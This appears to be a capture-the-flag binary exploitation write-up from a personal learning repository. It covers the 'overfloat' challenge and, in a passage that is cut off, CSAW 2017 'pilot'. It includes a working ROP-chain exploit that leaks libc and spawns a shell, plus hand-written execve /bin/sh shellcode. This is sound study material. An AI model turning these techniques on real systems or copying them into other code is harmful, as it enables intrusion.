drwxr-xr-x 12 nothing nothing 4.0K Mar 6 19:10 ..
|
||||
-rw-r--r-- 1 nothing nothing 2.3M Mar 6 19:11 core
|
||||
-rw-r--r-- 1 nothing nothing 2.0M Mar 6 19:10 libc-2.27.so
|
||||
-rw-r--r-- 1 nothing nothing 14K Mar 6 19:10 overfloat
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ file overfloat
|
||||
overfloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8ae8ef04d2948115c648531ee0c12ba292b92ae4, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ chmod +x overfloat
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
Now let's start off by testing the binary after using pwn checksec on it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ pwn checksec overfloat
|
||||
[*] '/home/nothing/binexp/2/overf/overfloat'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ ./overfloat
|
||||
_ .--.
|
||||
( ` )
|
||||
.-' `--,
|
||||
_..----.. ( )`-.
|
||||
.'_|` _|` _|( .__, )
|
||||
/_| _| _| _( (_, .-'
|
||||
;| _| _| _| '-'__,--'`--'
|
||||
| _| _| _| _| |
|
||||
_ || _| _| _| _|
|
||||
_( `--.\_| _| _| _|/
|
||||
.-' )--,| _| _|.`
|
||||
(__, (_ ) )_| _| /
|
||||
`-.__.\ _,--'\|__|__/
|
||||
;____;
|
||||
\YT/
|
||||
||
|
||||
|""|
|
||||
'=='
|
||||
|
||||
WHERE WOULD YOU LIKE TO GO?
|
||||
LAT[0]: 1
|
||||
LON[0]: 2
|
||||
LAT[1]: 3
|
||||
LON[1]: 4
|
||||
LAT[2]: 5
|
||||
LON[2]: 6
|
||||
LAT[3]: 7
|
||||
LON[3]: 8
|
||||
LAT[4]: 9
|
||||
LON[4]: 10
|
||||
LAT[5]: 0
|
||||
LON[5]: 11
|
||||
LAT[6]: 111111111111111111111111111111
|
||||
LON[6]: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
|
||||
LAT[7]: LON[7]: 12334556778
|
||||
LAT[8]: ^C
|
||||
|
||||
|
||||
|
||||
So we cna see that we are given a 64bit, dynamically linked binary with a non-executable stack (NX). In addition to that, we are given the libc file **libc-2.27.so**. Running the program we see that it prompts us for latitude / longitude pairs, so let's check out what we can find when we reverse the file with ghidra:
|
||||
|
||||

|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
undefined local_38 [48];
|
||||
|
||||
setbuf(stdout,(char *)0x0);
|
||||
setbuf(stdin,(char *)0x0);
|
||||
alarm(0x1e);
|
||||
__sysv_signal(0xe,timeout);
|
||||
puts(
|
||||
" _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |\"\"| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?"
|
||||
);
|
||||
memset(local_38,0,0x28);
|
||||
chart_course(local_38);
|
||||
puts("BON VOYAGE!");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Looking through the code here, we see that the part that's interesting is the char_course function, which takes the pointer local_38 as an arguement. When we look at the chart_course dissassembled function in ghidra we see the following:
|
||||
|
||||
|
||||
void chart_course(long param_1)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
uint uVar2;
|
||||
double dVar3;
|
||||
char local_78 [104];
|
||||
float local_10;
|
||||
uint local_c;
|
||||
|
||||
local_c = 0;
|
||||
do {
|
||||
if ((local_c & 1) == 0) {
|
||||
iVar1 = (int)local_c / 2;
|
||||
uVar2 = iVar1 + ((iVar1 / 10 + ((int)(local_c - ((int)local_c >> 0x1f)) >> 0x1f)) -
|
||||
(iVar1 >> 0x1f)) * -10;
|
||||
printf("LAT[%d]: ",(ulong)uVar2,(ulong)uVar2);
|
||||
}
|
||||
else {
|
||||
iVar1 = (int)local_c / 2;
|
||||
uVar2 = iVar1 + ((iVar1 / 10 + ((int)(local_c - ((int)local_c >> 0x1f)) >> 0x1f)) -
|
||||
(iVar1 >> 0x1f)) * -10;
|
||||
printf("LON[%d]: ",(ulong)uVar2,(ulong)uVar2,(ulong)uVar2);
|
||||
}
|
||||
fgets(local_78,100,stdin);
|
||||
iVar1 = strncmp(local_78,"done",4);
|
||||
if (iVar1 == 0) {
|
||||
if ((local_c & 1) == 0) {
|
||||
return;
|
||||
}
|
||||
puts("WHERES THE LONGITUDE?");
|
||||
local_c = local_c - 1;
|
||||
}
|
||||
else {
|
||||
dVar3 = atof(local_78);
|
||||
local_10 = (float)dVar3;
|
||||
memset(local_78,0,100);
|
||||
*(float *)(param_1 + (long)(int)local_c * 4) = local_10;
|
||||
}
|
||||
local_c = local_c + 1;
|
||||
} while( true );
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see that our data is being scanned into the char ptr that is being passed in the function as an arguement (param_1) It scans 100 bytes of data into local_78 thanks to the memset() function call
|
||||
|
||||
|
||||
dVar3 = atof(local_78);
|
||||
local_10 = (float)dVar3;
|
||||
**memset(local_78,0,100);**
|
||||
*(float *)(param_1 + (long)(int)local_c * 4) = local_10;
|
||||
|
||||
|
||||
after the memset call, it is setting ptr + (x * 4) equal to **float** where x is equal to the amount of floats already scanned in. There are no checks to see if the buffer gets overflowed, therefore, we have our buffer overflow right here.
|
||||
|
||||
That is ran within a do{}while() loop, that on paper can run forever since we have **true** as the condition. However there the termination condition is if the first 4 bytes of our input are **done** as you can see below:
|
||||
|
||||
|
||||
fgets(local_78,100,stdin);
|
||||
iVar1 = strncmp(local_78,"done",4);
|
||||
|
||||
|
||||
Therefore, keep in mind that the buffer that we are overflowing is from the stack in the main function, so we need to return to the main function before we can get code execution. Now let's take a look at the stack in ghidra:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main()
|
||||
undefined AL:1
|
||||
undefined1 Stack[-0x38]:1 local_38 XREF[2]: 004009ed(*),
|
||||
00400a03(*)
|
||||
undefined4 Stack[-0x3c]:4 local_3c XREF[1]: 0040099b(W)
|
||||
undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0040099e(W)
|
||||
main XREF[5]: Entry Point(*),
|
||||
_start:0040075d(*),
|
||||
_start:0040075d(*), 00400ea0,
|
||||
00400f70(*)
|
||||
00400993 55 PUSH RBP
|
||||
|
||||
|
||||
|
||||
Looking at the stack, there is nothing between local_38 (the variable of our input text) and the saved base pointer. Add on 8 bytes for the saved base pointer to the 48 bytes for the space, of our local_48 variable, and we get a total of **56** bytes to reach the return address. Now what code do we execute ? We're going to go with a ROP Chain using gadgets and imported functions from the binary since PIE is disabled, therefore we don't need an infoleak to do this. The problem is that the binary is not too big so we don't have the gadgets we would need to spawn a shell.
|
||||
|
||||
To counter this, we can setup a **puts** call because it is an imported function, therefore we can call it with the **got address of puts** we can get a libc infoleak and then loop back around to the start of **main** which would allow us to exploit the same bug again witha libc infoleak. We can then write a onegadget to the return address to actually spawn a shell.
|
||||
|
||||
|
||||
****[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ objdump -D overfloat| grep puts
|
||||
0000000000400690 <****puts@plt>:
|
||||
400690: ff 25 8a 19 20 00 jmp *0x20198a(%rip) # 602020 <****puts@GLIBC_2.2.5>
|
||||
400846: e8 45 fe ff ff call 400690 <****puts@plt>
|
||||
400933: e8 58 fd ff ff call 400690 <****puts@plt>
|
||||
4009e8: e8 a3 fc ff ff call 400690 <****puts@plt>
|
||||
400a14: e8 77 fc ff ff call 400690 <****puts@plt>
|
||||
|
||||
So here we have the plt addrets of **puts** as **0x400690** Next we need the got entry address for puts:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ objdump -R overfloat| grep puts
|
||||
0000000000602020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
|
||||
|
||||
|
||||
|
||||
Now that we have the got entry address, we need a gadget that pops an arguement into rdi and then return:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ ROPgadget --binary overfloat| grep ": pop rdi"
|
||||
0x0000000000400a83 : pop rdi ; ret
|
||||
|
||||
|
||||
|
||||
After we get the libc infoleak, we can just subtract the offset of puts from it to get the libc base. The only part that remains is the onegadget, check out the previous babyboi writeup to know how to set it up [here](bboi.html):
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ one_gadget libc-2.27.so
|
||||
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
|
||||
constraints:
|
||||
rsp & 0xf == 0
|
||||
rcx == NULL
|
||||
|
||||
0x4f322 execve("/bin/sh", rsp+0x40, environ)
|
||||
constraints:
|
||||
[rsp+0x40] == NULL
|
||||
|
||||
0x10a38c execve("/bin/sh", rsp+0x70, environ)
|
||||
constraints:
|
||||
[rsp+0x70] == NULL
|
||||
|
||||
|
||||
|
||||
And with this, we have everything we need to build our exploit. Since all of our inputs are interpreted as floats, We have to jump through a few hoops to get our inputs correctly:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
import struct
|
||||
|
||||
# values of the rop chain
|
||||
putsPlt = 0x400690
|
||||
putsGot = 0x602020
|
||||
popRdi = 0x400a83
|
||||
startMain = 0x400993
|
||||
oneShot = 0x4f2c5
|
||||
|
||||
#helper functions to help with the float input
|
||||
pf = lambda x: struct.pack('f', x)
|
||||
uf = lambda x: struct.unpack('f', x)[0]
|
||||
|
||||
#target process
|
||||
target = process('./overfloat')
|
||||
libc = ELF('libc-2.27.so')
|
||||
|
||||
#helper function to send input:
|
||||
def sendVal(x):
|
||||
v1 = x & ((2**32) - 1)
|
||||
v2 = x >> 32
|
||||
target.sendline(str(uf(p32(v1))))
|
||||
target.sendline(str(uf(p32(v2))))
|
||||
|
||||
#fill up the space between the start of the input and the return address
|
||||
for i in range(7):
|
||||
sendVal(0xdeadbeefdeadbeef)
|
||||
|
||||
#send the ropchain to print the libc address of puts
|
||||
#loop around to the start of main
|
||||
|
||||
sendVal(popRdi)
|
||||
sendVal(putsGot)
|
||||
sendVal(putsPlt)
|
||||
sendVal(startMain)
|
||||
|
||||
# Send done so our code executes
|
||||
target.sendline(b'done')
|
||||
|
||||
# Print out the target output
|
||||
print(target.recvuntil(b'BON VOYAGE!\n'))
|
||||
|
||||
# Scan in, filter out the libc infoleak, calculate the base
|
||||
leak = target.recv(6)
|
||||
leak = u64(leak + b"\x00"*(8-len(leak)))
|
||||
base = leak - libc.symbols['puts']
|
||||
|
||||
print("libc base: " + hex(base))
|
||||
|
||||
for i in range(7):
|
||||
sendVal(0xdeadbeefdeadbeef)
|
||||
# Overwrite the return address with a onegadget
|
||||
sendVal(base + oneShot)
|
||||
|
||||
# Send done so our rop chain executes
|
||||
target.sendline(b'done')
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
Now let's test it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/overf]
|
||||
→ l
|
||||
total 4.3M
|
||||
drwxr-xr-x 2 nothing nothing 4.0K Mar 6 20:34 .
|
||||
drwxr-xr-x 12 nothing nothing 4.0K Mar 6 19:10 ..
|
||||
-rw-r--r-- 1 nothing nothing 2.3M Mar 6 19:11 core
|
||||
-rw-r--r-- 1 nothing nothing 1.3K Mar 6 20:34 exploit.py
|
||||
-rw-r--r-- 1 nothing nothing 2.0M Mar 6 19:10 libc-2.27.so
|
||||
-rwxr-xr-x 1 nothing nothing 14K Mar 6 19:10 overfloat
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/overf]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './overfloat': pid 2897697
|
||||
[*] '/home/nothing/binexp/2/overf/libc-2.27.so'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
b' _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |""| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?\nLAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: LON[8]: LAT[9]: LON[9]: LAT[0]: LON[0]: LAT[1]: BON VOYAGE!\n'
|
||||
libc base: 0x7f4b371d8310
|
||||
[*] Switching to interactive mode
|
||||
|
||||
_ .--.
|
||||
( ` )
|
||||
.-' `--,
|
||||
_..----.. ( )`-.
|
||||
.'_|` _|` _|( .__, )
|
||||
/_| _| _| _( (_, .-'
|
||||
;| _| _| _| '-'__,--'`--'
|
||||
| _| _| _| _| |
|
||||
_ || _| _| _| _|
|
||||
_( `--.\_| _| _| _|/
|
||||
.-' )--,| _| _|.`
|
||||
(__, (_ ) )_| _| /
|
||||
`-.__.\ _,--'\|__|__/
|
||||
;____;
|
||||
\YT/
|
||||
||
|
||||
|""|
|
||||
'=='
|
||||
|
||||
WHERE WOULD YOU LIKE TO GO?
|
||||
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
|
||||
[*] Got EOF while reading in interactive
|
||||
$ cat flag
|
||||
flag{g0ttem_b0yz}
|
||||
|
||||
|
||||
|
||||
And that's it! We have been able to spawn a shell and print the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
513
2/pilot.md
Normal file
|
@ -0,0 +1,513 @@
|
|||
# CSAW 2017 Pilot
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot
|
||||
--2021-03-01 14:32:43-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot [following]
|
||||
--2021-03-01 14:32:44-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 10472 (10K) [application/octet-stream]
|
||||
Saving to: ‘pilot’
|
||||
|
||||
pilot 100%[=================================================================>] 10.23K --.-KB/s in 0.002s
|
||||
|
||||
2021-03-01 14:32:44 (5.39 MB/s) - ‘pilot’ saved [10472/10472]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ file pilot
|
||||
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ chmod +x pilot
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First let's run the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ ./pilot
|
||||
[*]Welcome DropShip Pilot...
|
||||
[*]I am your assitant A.I....
|
||||
[*]I will be guiding you through the tutorial....
|
||||
[*]As a first step, lets learn how to land at the designated location....
|
||||
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
|
||||
[*]Good Luck Pilot!....
|
||||
[*]Location:0x7ffee9a9c6c0
|
||||
[*]Command:ls
|
||||
[*]There are no commands....
|
||||
[*]Mission Failed....
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ ./pilot
|
||||
[*]Welcome DropShip Pilot...
|
||||
[*]I am your assitant A.I....
|
||||
[*]I will be guiding you through the tutorial....
|
||||
[*]As a first step, lets learn how to land at the designated location....
|
||||
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
|
||||
[*]Good Luck Pilot!....
|
||||
[*]Location:0x7ffeeecbfee0
|
||||
[*]Command:help
|
||||
|
||||
|
||||
|
||||
The binary basically prints out text with an interesting 'location' memory address, then we enter a command and either it gives us 'mission failed' or it might give us something else. Let's inspect it in ghidra:
|
||||
|
||||

|
||||
|
||||
Now unlike the previous challenges, the main function called isn't called 'main' instead it is called 'FUN_004009a6'. Now let's inspect the parts of the code that are interesting:
|
||||
|
||||
|
||||
sVar2 = read(0,local_28,0x40);
|
||||
|
||||
|
||||
|
||||
Now here we can see that it scans 0x40 bytes worth of input into the local_28 variable and this variable can only hold 32 bytes worth of input, so this is a buffer overflow vulnerability. The address that is being printed is an infoleak for the start of our input in memory on the stack:
|
||||
|
||||

|
||||
|
||||
Now that we know that our local input variable is local_28 let's look at the stack layout in ghidra:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined FUN_004009a6()
|
||||
undefined AL:1 <****RETURN>
|
||||
undefined1 Stack[-0x28]:1 local_28 XREF[2]: 00400aa4(*),
|
||||
00400acf(*)
|
||||
FUN_004009a6 XREF[4]: entry:004008cd(*),
|
||||
entry:004008cd(*), 00400de0,
|
||||
00400e80(*)
|
||||
004009a6 55 PUSH RBP
|
||||
|
||||
Here we don't see anything between the start of our input and the return address, so this means that we should be able to use the overflow vulnerability to overwrite the return address to get code execution. so let's inspect that from gdb, we will set a breakpoint right after the read call, and look at the memory there:
|
||||
|
||||
|
||||
00400ae0 e8 3b fd CALL read ssize_t read(int __fd, void * __
|
||||
ff ff
|
||||
00400ae5 48 83 f8 04 CMP RAX,0x4
|
||||
|
||||
|
||||
|
||||
The breakpoint will be at 0x00400ae5 because it's right after the read call:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/pilot]
|
||||
→ gdb ./pilot
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./pilot...
|
||||
(No debugging symbols found in ./pilot)
|
||||
gef➤ b *0x400ae5
|
||||
Breakpoint 1 at 0x400ae5
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/pilot/pilot
|
||||
[*]Welcome DropShip Pilot...
|
||||
[*]I am your assitant A.I....
|
||||
[*]I will be guiding you through the tutorial....
|
||||
[*]As a first step, lets learn how to land at the designated location....
|
||||
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
|
||||
[*]Good Luck Pilot!....
|
||||
[*]Location:0x7fffffffdf30
|
||||
[*]Command:13371337
|
||||
|
||||
Breakpoint 1, 0x0000000000400ae5 in ?? ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x9
|
||||
$rbx : 0x0000000000400b90 → push r15
|
||||
$rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?)
|
||||
$rdx : 0x40
|
||||
$rsp : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?)
|
||||
$rbp : 0x00007fffffffdf50 → 0x0000000000000000
|
||||
$rsi : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?)
|
||||
$rdi : 0x0
|
||||
$rip : 0x0000000000400ae5 → cmp rax, 0x4
|
||||
$r8 : 0xb
|
||||
$r9 : 0x00007fffffffdd00 → 0x0000000000000000
|
||||
$r10 : 0xfffffffffffff61c
|
||||
$r11 : 0x246
|
||||
$r12 : 0x00000000004008b0 → xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffdf30│+0x0000: 0x3733333137333331 ← $rsp, $rsi
|
||||
0x00007fffffffdf38│+0x0008: 0x000000000040080a → add cl, ch
|
||||
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001
|
||||
0x00007fffffffdf48│+0x0018: 0x0000000000000000
|
||||
0x00007fffffffdf50│+0x0020: 0x0000000000000000 ← $rbp
|
||||
0x00007fffffffdf58│+0x0028: 0x00007ffff7c17b25 → <__libc_start_main+213> mov edi, eax
|
||||
0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe362 → "/home/nothing/binexp/2/pilot/pilot"
|
||||
0x00007fffffffdf68│+0x0038: 0x00000001000011bf
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400ad8 mov rsi, rax
|
||||
0x400adb mov edi, 0x0
|
||||
0x400ae0 call 0x400820
|
||||
●→ 0x400ae5 cmp rax, 0x4
|
||||
0x400ae9 setle al
|
||||
0x400aec test al, al
|
||||
0x400aee je 0x400b2f
|
||||
0x400af0 mov esi, 0x400d90
|
||||
0x400af5 mov edi, 0x6020a0
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "pilot", stopped 0x400ae5 in ?? (), reason: BREAKPOINT
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x400ae5 → cmp rax, 0x4
|
||||
[#1] 0x7ffff7c17b25 → __libc_start_main()
|
||||
[#2] 0x4008d9 → hlt
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
So now we set the breakpoint where we wanted, then ran the binary, put in a simple pattern '13371337' and then we hit our breakpoint. Now let's search for our pattern in memory as well as the address of the return address:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
|
||||
0x7fffffffdf30 - 0x7fffffffdf38 → "13371337[...]"
|
||||
|
||||
gef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffdf60:
|
||||
rip = 0x400ae5; saved rip = 0x7ffff7c17b25
|
||||
called by frame at 0x7fffffffe030
|
||||
Arglist at 0x7fffffffdf28, args:
|
||||
Locals at 0x7fffffffdf28, Previous frame's sp is 0x7fffffffdf60
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffdf50, rip at 0x7fffffffdf58
|
||||
|
||||
|
||||
Now we see that our pattern is located at 0x7fffffffdf30, and the return address is at 0x7fffffffdf58 so let's calculate the offset in python3:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffdf30 - 0x7fffffffdf58 )
|
||||
'-0x28'
|
||||
|
||||
|
||||
|
||||
And here we see that we have a 0x28 bytes offset. So our goal here is to create a payload that will first fill the 0x28 offset with nullbytes (\x00) and then we will be able to overwrite the return address, however we must keep in mind that the Location of the pattern changes each time, so we need a way to get it no matter how it changes:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ ./pilot | grep Location
|
||||
[*]Location:0x7ffdc6df25c0
|
||||
^C
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ ./pilot | grep Location
|
||||
[*]Location:0x7ffca4cfcef0
|
||||
^C
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ ./pilot | grep Location
|
||||
[*]Location:0x7ffdaad8fc90
|
||||
^C
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ ./pilot | grep Location
|
||||
[*]Location:0x7ffed0e90200
|
||||
|
||||
|
||||
|
||||
So let's begin to write our python3 exploit:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./pilot')
|
||||
|
||||
|
||||
#print the output text until the 'Location:' part
|
||||
print(target.recvuntil("[*]Location:"))
|
||||
|
||||
#right after the 'Location:' part, is the memory address of our input
|
||||
leak = target.recvline()
|
||||
|
||||
inputAdr = int(leak.strip(b"\n"), 16)
|
||||
|
||||
#store the memory address until the newline character (16 characters)
|
||||
|
||||
print(inputAdr)
|
||||
|
||||
payload = ""
|
||||
|
||||
|
||||
|
||||
|
||||
Now here we have the variable called 'inputAddr' that is the memory address of our input. Now we need to put in shellcode in the payload, the first 2 writeups of this challenge that i found werent explaining the source of the shellcode that was found, but thankfully there was a writeup that explained it [here](https://0xdeadbeefjerky.com/2017/09/23/csaw-ctf-pilot-writeup.html):
|
||||
|
||||
_" We know that the target is a 64-bit Linux (ELF) binary (as per the ‘file’ output), so why not provide shellcode that executes /bin/sh and drop us into a shell on the host running ‘pilot’? NYU’s Offensive Security, Incident Response and Internet Security Laboratory (OSIRIS Lab) was kind enough to open source an entire repository of shellcode written by NYU students. Browsing through this repository, we come across a directory containing shellcode designed to achieve our goal - 64-bit local /bin/sh. [...] This will be our shellcode that executes /bin/sh to drop us into a shell on the target system."_
|
||||
|
||||
So we could clone the repository locally and generate the shellcode ourselves aswell, but we can also pick a 64bit /bin/sh shellcode from [shell-storm.org](http://shell-storm.org/shellcode/) and just copy paste it. Or we could also contruct our own shellcode instead, this is better because that way we know what the source assembly code is, and we compile the shellcode ourselves::
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/pilot]
|
||||
→ vim 7.asm
|
||||
|
||||
|
||||
|
||||
|
||||
section .text
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
xor esi, esi ; xor out esi and edx
|
||||
xor edx, edx
|
||||
|
||||
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
|
||||
pop rax ;take the out the top of the stack to put it into rax
|
||||
|
||||
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
|
||||
|
||||
push rsi
|
||||
push rbx
|
||||
mov rdi, rsp
|
||||
syscall
|
||||
|
||||
|
||||
|
||||
